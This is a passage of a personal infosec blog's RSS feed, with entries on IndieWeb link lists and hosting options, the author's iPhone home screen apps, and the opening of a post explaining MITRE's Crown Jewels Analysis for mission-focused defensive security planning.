  &lt;li&gt;&lt;a href=&quot;https://topfour.net&quot;&gt;Top Four&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://uses.tech&quot;&gt;Uses.tech&lt;/a&gt; - Directory of &lt;a href=&quot;https://slashpages.net#uses&quot;&gt;/uses&lt;/a&gt; pages&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;indieweb-delights&quot;&gt;IndieWeb Delights&lt;/h3&gt;
&lt;p&gt;Other fun discoveries of the &lt;a href=&quot;#indieweb&quot;&gt;IndieWeb&lt;/a&gt; are provided below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiby.me/surprise/&quot;&gt;wiby.me/surprise&lt;/a&gt; (per &lt;a href=&quot;https://mastodon.social/@Haste/110720564543168205&quot;&gt;@Haste@mastodon.social&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cameronsworld.net&quot;&gt;Cameron’s World&lt;/a&gt; (per &lt;a href=&quot;https://infosec.exchange/@mttaggart/110720782567478240&quot;&gt;@mttaggart@infosec.exchange&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://devon.lol/blog/the-old-web/&quot;&gt;The Old Web | Devon.LOL&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/infosec-blogs#boutique-security-blogs&quot;&gt;Boutique Security Blogs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://news.indieweb.org&quot;&gt;IndieNews&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://logiclrd.cx&quot;&gt;Logic Lord&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://marigold.town&quot;&gt;Marigold Town&lt;/a&gt; [&lt;a href=&quot;https://tilde.zone/@xandra/111209519497071133&quot;&gt;~&lt;/a&gt;]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctrl-c.club&quot;&gt;Ctrl-C Club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.indieforums.net&quot;&gt;IndieForums&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://home.omg.lol&quot;&gt;omg.lol&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maple.pet&quot;&gt;maple.pet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://potato.cheap&quot;&gt;The “Cheap” Web&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wetnoodle.neocities.org&quot;&gt;Wet Noodle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://projects.kwon.nyc/internet-is-fun/&quot;&gt;The Internet used to be fun&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://32bit.cafe&quot;&gt;32-Bit Cafe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hellnet.work/8831/&quot;&gt;The 88x31 Archive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://afterthebeep.tel&quot;&gt;After The Beep&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gifcities.org&quot;&gt;GifCities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jdd.freeshell.org/links.php&quot;&gt;jdd’s List o’ Links&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hofnarretje.eu/museum/index.html&quot;&gt;International Digital History Museum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://99gifshop.neocities.org&quot;&gt;99GIF Shop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dokokashira.nl/entralink/&quot;&gt;Entralink&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://moule.world/links.html&quot;&gt;moule.world 88x31 buttons&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hexadecim8.com/index.html&quot;&gt;Hack To The Future&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;my-favorite-indie-sites&quot;&gt;My Favorite Indie Sites&lt;/h3&gt;

&lt;p&gt;All of my favorite sites are now in one place, in my &lt;a href=&quot;https://shellsharks.com/blogroll#favorite-indieweb-sites&quot;&gt;Blogroll&lt;/a&gt;!&lt;/p&gt;

&lt;h3 id=&quot;hosting&quot;&gt;Hosting&lt;/h3&gt;
&lt;p&gt;Being on the IndieWeb means first hosting a site. Here are some good Indie options.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://write.as&quot;&gt;Write.as&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://home.omg.lol&quot;&gt;omg.lol&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pika.page&quot;&gt;Pika&lt;/a&gt; (from &lt;a href=&quot;https://goodenough.us&quot;&gt;Good Enough&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yay.boo/&quot;&gt;Yay.Boo&lt;/a&gt; (&lt;em&gt;also from&lt;/em&gt; &lt;a href=&quot;https://goodenough.us&quot;&gt;Good Enough&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mmm.page&quot;&gt;mmm.page&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ghost.org&quot;&gt;Ghost&lt;/a&gt; (and &lt;a href=&quot;https://outpost.pub&quot;&gt;Outpost.pub&lt;/a&gt;) 🇸🇬&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://web1.0hosting.net&quot;&gt;Web 1.0 Hosting&lt;/a&gt; 🇫🇮&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://posthaven.com&quot;&gt;Posthaven&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scribbles.page&quot;&gt;Scribbles&lt;/a&gt; 🇵🇱&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pico.sh/prose&quot;&gt;prose.sh | pico.sh&lt;/a&gt; 🇩🇪&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bearblog.dev&quot;&gt;Bear&lt;/a&gt; 🇳🇱&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nekoweb.org&quot;&gt;Nekoweb&lt;/a&gt; 🇩🇪&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mataroa.blog&quot;&gt;Mataroa&lt;/a&gt; 🇩🇪&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://smol.pub&quot;&gt;Smol Pub&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://montaigne.io&quot;&gt;Montaigne&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://havenweb.org&quot;&gt;Haven&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://glitch.com&quot;&gt;Glitch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pages.casa&quot;&gt;pages.casa&lt;/a&gt; 🇫🇷&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lmno.lol&quot;&gt;LMNO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://teahouse.cafe&quot;&gt;Teahouse Hosting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://indieweb.org&quot;&gt;What is the IndieWeb | Indieweb.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://ar.al/2020/08/07/what-is-the-small-web/&quot;&gt;What is the Small Web? | Aral Balkan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.thisdaysportion.com/posts/itfc-indieweb/&quot;&gt;Why organisations should have an indieweb publication strategy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tracydurnell.com/2022/11/27/making-the-indieweb-more-approachable/&quot;&gt;Making the IndieWeb more approachable | Tracy Durnell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theverge.com/2023/7/3/23782607/social-web-public-apps-end-reddit-twitter-mastodon&quot;&gt;So where are we all supposed to go now? | The Verge&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eftegarie.com/every-person-on-the-planet-should-have-their-own-website/&quot;&gt;Every person on the planet should have their own website | EFTEGARIE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://moddedbear.com/go-start-a-blog/&quot;&gt;Go Start a Blog | moddedBear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elizabethtai.com/2023/07/03/how-i-am-blogging-the-indieweb-way/&quot;&gt;How I am blogging the IndieWeb way | Elizabeth Tai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elizabethtai.com/2023/07/02/posse-and-pesos-better-ways-to-publish-content/&quot;&gt;POSSE and PESOS: Better ways to publish content | Elizabeth Tai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kevquirk.com/how-it-all-connects&quot;&gt;How it all Connects | Kev Quirk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rssboard.org/news/213/atom-feed-format-born-20-years-ago&quot;&gt;Atom Feed Format Was Born 20 Years Ago | RSS Board&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://emissary.dev&quot;&gt;Emissary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.m.wikipedia.org/wiki/FriendFeed&quot;&gt;FriendFeed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mxb.dev/blog/webring-kit/&quot;&gt;A Webring Kit | Max Böck&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dead.garden/blog/i-love-ugly-internet-sites-that-cant-do-anything.html&quot;&gt;I love “ugly” internet sites that “can’t do anything”&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;resources&quot;&gt;Resources&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://therebelweb.org&quot;&gt;The Rebel Web&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://discuss.32bit.cafe/wiki/resources&quot;&gt;Resources List for the Personal Web&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://feedland.org&quot;&gt;FeedLand&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://indiewebify.me&quot;&gt;IndieWebify.Me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://smolweb.org&quot;&gt;smolweb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://discourse.32bit.cafe/t/resources-list-for-the-personal-web/49&quot;&gt;Resources List for the Personal Web&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://homewatcher.neocities.org/webdevfinds&quot;&gt;WebDev Finds Box&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://indiemap.org/docs.html&quot;&gt;Indie Map&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://coryd.dev/posts/2024/an-indie-web-primer/&quot;&gt;An indie web primer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://diagram.website&quot;&gt;Diagram.website&lt;/a&gt; - Map of the IndieNet&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://indieweb.guide&quot;&gt;IndieWeb Guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://webdev.yay.boo&quot;&gt;Webdev.yay.boo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nocss.club&quot;&gt;No CSS Club&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://unplatform.fromthesuperhighway.com&quot;&gt;Unplatform&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://challenges.stefanbohacek.com&quot;&gt;Writing Challenges&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brennan.day/indieweb/&quot;&gt;Brennan’s IndieWeb Themes, Tools, and Resources&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 16 Jul 2023 15:00:00 -0400</pubDate>
        <link>https://shellsharks.com/indieweb</link>
        <guid isPermaLink="true">https://shellsharks.com/indieweb</guid>
        
        <category>tech</category>
        
        <category>indieweb</category>
        
        <category>blogging</category>
        
        <category>bestof</category>
        
        
        <category>tech</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>What&apos;s on my iPhone</title>
        <shark:summary><p>For some reason I really enjoy <em>what’s on my iPhone</em> posts from other people, so I’m going to do one of my own. <em>Behold</em>! What’s on my iphone <i class="ph ph-device-mobile-speaker"></i> <i class="ph ph-arrow-down"></i></p>
</shark:summary>
        <description>&lt;p&gt;For some reason I really enjoy &lt;em&gt;what’s on my iPhone&lt;/em&gt; posts from other people, so I’m going to do one of my own. &lt;em&gt;Behold&lt;/em&gt;! What’s on my iphone &lt;i class=&quot;ph ph-device-mobile-speaker&quot;&gt;&lt;/i&gt; &lt;i class=&quot;ph ph-arrow-down&quot;&gt;&lt;/i&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2023/iphone_homescreen.PNG&quot; alt=&quot;iPhone Homescreen&quot; width=&quot;350px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;“Calendar” Stack [full-width, top]
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Calendar.app&lt;/strong&gt; &lt;em&gt;Up Next&lt;/em&gt; (Apple’s stock calendar widget has the best multi-day event view)&lt;/li&gt;
      &lt;li&gt;Fantastical &lt;em&gt;Date + Calendar&lt;/em&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;“Assorted” Stack [half-width, left-side]
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Clock.app&lt;/strong&gt; &lt;em&gt;City&lt;/em&gt; (DC)&lt;/li&gt;
      &lt;li&gt;FoodNoms &lt;em&gt;Goals Summary&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;Stocks.app &lt;em&gt;Watchlist&lt;/em&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;“To-Do” Stack [half-width, right-side]
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Reminders.app&lt;/strong&gt; &lt;em&gt;Today List&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;Reminders.app &lt;em&gt;Grocery smart list&lt;/em&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://apps.apple.com/us/app/avelon-for-lemmy/id6450952178&quot;&gt;Avelon&lt;/a&gt;&lt;/strong&gt; (My new go-to &lt;a href=&quot;https://shellsharks.com/threadiversal-travel&quot;&gt;threadiverse&lt;/a&gt; browser)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://tapbots.com/ivory/&quot;&gt;Ivory&lt;/a&gt;&lt;/strong&gt; (&lt;em&gt;Best &lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt; client imo&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://reederapp.com&quot;&gt;Reeder&lt;/a&gt;&lt;/strong&gt; (&lt;em&gt;&lt;a href=&quot;https://shellsharks.com/an-ode-to-rss&quot;&gt;I love RSS&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://obsidian.md&quot;&gt;Obsidian&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://simplenote.com&quot;&gt;Simplenote&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://copilot.money&quot;&gt;Copilot&lt;/a&gt;&lt;/strong&gt; (&lt;em&gt;So long &lt;a href=&quot;https://www.theverge.com/2023/11/2/23943254/mint-intuit-shutting-down-credit-karma&quot;&gt;Mint&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://1password.com&quot;&gt;1Password&lt;/a&gt;&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
  &lt;li&gt;“Social” Folder (&lt;em&gt;omg I have so many social apps&lt;/em&gt;. Apps below are just what’s visible in the 3x3 mini-folder.)
    &lt;ul&gt;
      &lt;li&gt;Google Voice&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/in/mikesass&quot;&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://discord.gg/3rkHgtcYbb&quot;&gt;Discord&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.threads.net/@mk3s&quot;&gt;Threads&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://bsky.app/profile/shellsharks.com&quot;&gt;Bluesky&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Damus&lt;/li&gt;
      &lt;li&gt;Reddit&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://github.com/Dimillian/IceCubesApp&quot;&gt;Ice Cubes&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://getmammoth.app&quot;&gt;Mammoth&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;tray&quot;&gt;Tray&lt;/h6&gt;

&lt;ul&gt;
  &lt;li&gt;Phone&lt;/li&gt;
  &lt;li&gt;Messages&lt;/li&gt;
  &lt;li&gt;Safari&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://proton.me&quot;&gt;Proton&lt;/a&gt; Mail (&lt;em&gt;I am moving off of Google&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 15 Jul 2023 06:00:00 -0400</pubDate>
        <link>https://shellsharks.com/whats-on-my-iphone</link>
        <guid isPermaLink="true">https://shellsharks.com/whats-on-my-iphone</guid>
        
        <category>tech</category>
        
        <category>apple</category>
        
        
        <category>tech</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Crown Jewels Analysis</title>
        <shark:summary><p>Over the years I’ve seen an evolution with respect to how the infosec industry approaches corporate security. In the (<em>my</em>) beginning, it was very asset/defense-centric - <em>What do we have? Patch all the things! Turn on all the blinky security appliances</em>. Next, we added a new layer that was more attacker/threat-driven - <a href="https://csrc.nist.gov/glossary/term/red_team">red teaming</a>, <a href="https://shellsharks.com/threat-modeling#intro-to-threat-modeling">threat modeling</a>, <a href="https://shellsharks.com/threat-modeling#cyber-threat-intelligence-cti">threat intelligence</a>, etc… So what’s the next advancement? How can we build upon these disciplines in a way that helps us further prioritize and ultimately mitigate risk? Consider now a business-focused, or better yet, <em>mission-oriented</em> approach to security. Rather than focus on potential operational impacts from the perspective of known threat actors or working on a bottomless approach to defense-in-depth, let’s instead orient ourselves around what is important to <em>us</em> (in the context of the respective organization) and define key mission objectives in which to center our security strategy. This is in fact step <em>one</em> of MITRE’s <a href="#mitre-crown-jewels-analysis-cja-process">Crown Jewels Analysis</a> (<strong>CJA</strong>), a process designed to identify cyber assets most critical to the accomplishment of an organization’s mission.</p>
</shark:summary>
        <description>&lt;p&gt;Over the years I’ve seen an evolution with respect to how the infosec industry approaches corporate security. In the (&lt;em&gt;my&lt;/em&gt;) beginning, it was very asset/defense-centric - &lt;em&gt;What do we have? Patch all the things! Turn on all the blinky security appliances&lt;/em&gt;. Next, we added a new layer that was more attacker/threat-driven - &lt;a href=&quot;https://csrc.nist.gov/glossary/term/red_team&quot;&gt;red teaming&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/threat-modeling#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/threat-modeling#cyber-threat-intelligence-cti&quot;&gt;threat intelligence&lt;/a&gt;, etc… So what’s the next advancement? How can we build upon these disciplines in a way that helps us further prioritize and ultimately mitigate risk? Consider now a business-focused, or better yet, &lt;em&gt;mission-oriented&lt;/em&gt; approach to security. Rather than focus on potential operational impacts from the perspective of known threat actors or working on a bottomless approach to defense-in-depth, let’s instead orient ourselves around what is important to &lt;em&gt;us&lt;/em&gt; (in the context of the respective organization) and define key mission objectives in which to center our security strategy. This is in fact step &lt;em&gt;one&lt;/em&gt; of MITRE’s &lt;a href=&quot;#mitre-crown-jewels-analysis-cja-process&quot;&gt;Crown Jewels Analysis&lt;/a&gt; (&lt;strong&gt;CJA&lt;/strong&gt;), a process designed to identify cyber assets most critical to the accomplishment of an organization’s mission.&lt;/p&gt;

&lt;p&gt;As the name implies, one product of a completed CJA is a list of key assets (the “&lt;strong&gt;crown jewels&lt;/strong&gt;”) which represent the most important atomic constructs your organization relies upon. In the absence of any other output, you could take these identified systems/assets as a prioritized queue and feed them into traditional security models such as &lt;a href=&quot;https://csrc.nist.gov/glossary/term/defense_in_depth&quot;&gt;defense-in-depth&lt;/a&gt; (defensive model) or threat modeling (offensive model) and quickly see the value. But the CJA &lt;em&gt;also&lt;/em&gt; yields a &lt;a href=&quot;#identify-mission-dependencies&quot;&gt;dependency map&lt;/a&gt;, which illustrates a hierarchy of nodes and relationships that explains not only the technological/process dependencies your mission objectives rely on but can be leveraged to build &lt;a href=&quot;#mission-impact-analysis&quot;&gt;far more insightful views&lt;/a&gt; including (but not limited to) where to apply security controls or where attackers may find weak spots to disrupt operations through &lt;em&gt;nth&lt;/em&gt; order effects. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;#references&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before &lt;a href=&quot;#mitre-crown-jewels-analysis-cja-process&quot;&gt;diving into the more fine-grained mechanics of the CJA&lt;/a&gt;, here is a summarization of the assorted benefits you could expect as a result of performing one…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Facilitates joint conversation among key stakeholders. Breaks down assumptions and supports greater understanding of the mission&lt;/li&gt;
  &lt;li&gt;Promotes balanced resource allocation between business innovation and security safeguards&lt;/li&gt;
  &lt;li&gt;Prioritizes security investments&lt;/li&gt;
  &lt;li&gt;Identifies &lt;em&gt;true&lt;/em&gt; risk and business impact posed by potential compromise/degradation&lt;/li&gt;
  &lt;li&gt;Determines acceptable levels of residual risk associated with each critical asset&lt;/li&gt;
  &lt;li&gt;Establishes security countermeasures to effectively manage business risk profile &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;5&lt;/a&gt;, &lt;a href=&quot;#references&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;mitre-crown-jewels-analysis-cja-process&quot;&gt;MITRE Crown Jewels Analysis (CJA) Process&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.mitre.org/sites/default/files/2022-09/MITRE-SEG.pdf&quot;&gt;Crown Jewels Analysis&lt;/a&gt;&lt;/strong&gt; (&lt;strong&gt;CJA&lt;/strong&gt;) [&lt;em&gt;&lt;a href=&quot;https://www.mitre.org/sites/default/files/2022-09/MITRE-SEG.pdf&quot;&gt;SEG&lt;/a&gt;, pg. 167&lt;/em&gt;] is a methodology designed by &lt;a href=&quot;https://www.mitre.org&quot;&gt;MITRE&lt;/a&gt; to identify the cyber assets (“&lt;strong&gt;crown jewels&lt;/strong&gt;”) most critical to mission accomplishment. It consists of three distinct steps. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#establish-mission-priorities&quot;&gt;Establish Mission Priorities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#identify-mission-dependencies&quot;&gt;Identify Mission Dependencies&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#mission-impact-analysis&quot;&gt;Mission Impact Analysis&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2023/cja/cja-steps.png&quot; alt=&quot;CJA Steps&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; MITRE’s CJA is often used as an input into MITRE’s threat modeling and risk analysis model, &lt;a href=&quot;https://www.mitre.org/news-insights/publication/threat-assessment-and-remediation-analysis-tara&quot;&gt;TARA&lt;/a&gt;. Together, the CJA and TARA compose MITRE’s &lt;a href=&quot;https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf&quot;&gt;Mission Assurance Engineering&lt;/a&gt; (&lt;strong&gt;MAE&lt;/strong&gt;) process. (I will not cover TARA/MAE much in this post.)&lt;/p&gt;

&lt;p&gt;Ultimately, by increasing the work factor for an adversary and coupling security decisions with a more intimate understanding of &lt;a href=&quot;#establish-mission-priorities&quot;&gt;mission priorities&lt;/a&gt;, an organization can better endure the constant barrage of attacks present within the modern threat landscape and build more robust operational resiliency. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;establish-mission-priorities&quot;&gt;Establish Mission Priorities&lt;/h2&gt;

&lt;p&gt;Step one of conducting a &lt;a href=&quot;#mitre-crown-jewels-analysis-cja-process&quot;&gt;Crown Jewels Analysis&lt;/a&gt; is to identify and &lt;strong&gt;establish mission priorities&lt;/strong&gt;. This is an area of MITRE’s &lt;a href=&quot;https://www.mitre.org/sites/default/files/2022-09/MITRE-SEG.pdf&quot;&gt;CJA documentation&lt;/a&gt; that is curiously light. The question is simple though, “&lt;em&gt;what is important to your organization?&lt;/em&gt;” My recommendation? Start &lt;em&gt;locally&lt;/em&gt;, within the security team, and brainstorm a list of probable objectives. If this is a challenging exercise for the team, it is an opportunity to reach outside the security silo, learn more about the business and become far more effective at practicing business-aware security moving forward. For a more authoritative perspective on key mission priorities, consider approaching security leadership, broader IT leadership or go directly to the source and invoke business leaders themselves. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once we have established what the priorities of the business/organization are, we can begin constructing the map of interconnected tasks, functions and assets which comprise the &lt;a href=&quot;#identify-mission-dependencies&quot;&gt;dependency tree&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;identify-mission-dependencies&quot;&gt;Identify Mission Dependencies&lt;/h2&gt;

&lt;p&gt;Step two of the &lt;a href=&quot;#mitre-crown-jewels-analysis-cja-process&quot;&gt;CJA&lt;/a&gt; is to &lt;strong&gt;identify mission dependencies&lt;/strong&gt;. For this, &lt;a href=&quot;https://www.mitre.org&quot;&gt;MITRE&lt;/a&gt; prescribes a technique for dependency mapping, a (&lt;em&gt;moderately rigorous&lt;/em&gt;) adaptation of the &lt;a href=&quot;https://www.mitre.org/news-insights/publication/risk-mission-assessment-process-riskmap-sensitivity-analysis-and&quot;&gt;Risk-to-Mission Assessment Process&lt;/a&gt; (&lt;strong&gt;RiskMAP&lt;/strong&gt;). The &lt;strong&gt;Dependency Map&lt;/strong&gt; is a graph/tree built using mission priorities/objectives as the root/top-level parent nodes, then child nodes are linked using the following mapping &lt;em&gt;“If &amp;lt;child&amp;gt; fails or is degraded (as defined by the SMEs), the impact on &amp;lt;parent&amp;gt; is &amp;lt;failure, degrade, work-around, nominal&amp;gt;.”&lt;/em&gt; Once complete, it is possible to &lt;a href=&quot;#mission-impact-analysis&quot;&gt;analyze the impact&lt;/a&gt; of an asset/process failure/degradation through cascading if/then statements. 